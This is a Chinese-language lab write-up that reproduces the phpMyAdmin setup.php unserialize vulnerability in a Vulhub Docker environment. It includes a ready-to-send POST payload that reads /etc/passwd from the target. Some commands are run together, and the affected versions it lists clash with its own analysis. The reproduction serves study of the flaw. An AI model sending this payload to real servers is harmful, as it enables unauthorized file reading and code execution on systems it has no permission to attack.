一、漏洞简介
phpMyAdmin的Setup脚本用于生成配置。如果远程攻击者向该脚本提交了特制的POST请求的话,就可能在生成的config.inc.php配置文件中包含任意PHP代码。由于配置文件被保存到了服务器上,未经认证的远程攻击者可以利用这个漏洞执行任意PHP代码。
二、影响版本
phpMyAdmin phpMyAdmin 3.x
phpMyAdmin phpMyAdmin 2.11.x
三、漏洞复现
1、环境搭建
Kali搭建Vulhub环境,步骤如下:
sudo apt-get update
sudo apt-get upgrade
安装curl插件
apt install curl
安装docker
安装脚本curl -fsSL https://get.docker.com -o get-docker.shsh get-docker.sh
测试脚本curl -fsSL https://test.docker.com -o test-docker.shsh test-docker.sh
安装docker-compose
sudo apt install docker-compose
下载vulhub-master
# Download project
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master
漏洞环境使用
cd WooYun-2016-199433 # 进入需要开启的漏洞路径
docker-compose up -d
浏览器访问漏洞地址
构造poc
POST /scripts/setup.php HTTP/1.1
Host:127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
BurpSuite抓包:
攻击语句执行成功。
抓包结果:
四、漏洞分析
phpmyadmin 2.x 版本中存在反序列化漏洞,当服务器执行了黑客精心构造的payload时,会造成类中的变量被修改,可以任意读取文件或任意执行代码。
一篇关于什么是反序列化的文章
一篇文章带你了解反序列化漏洞 - FreeBuf网络安全行业门户
补丁:http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revision=12301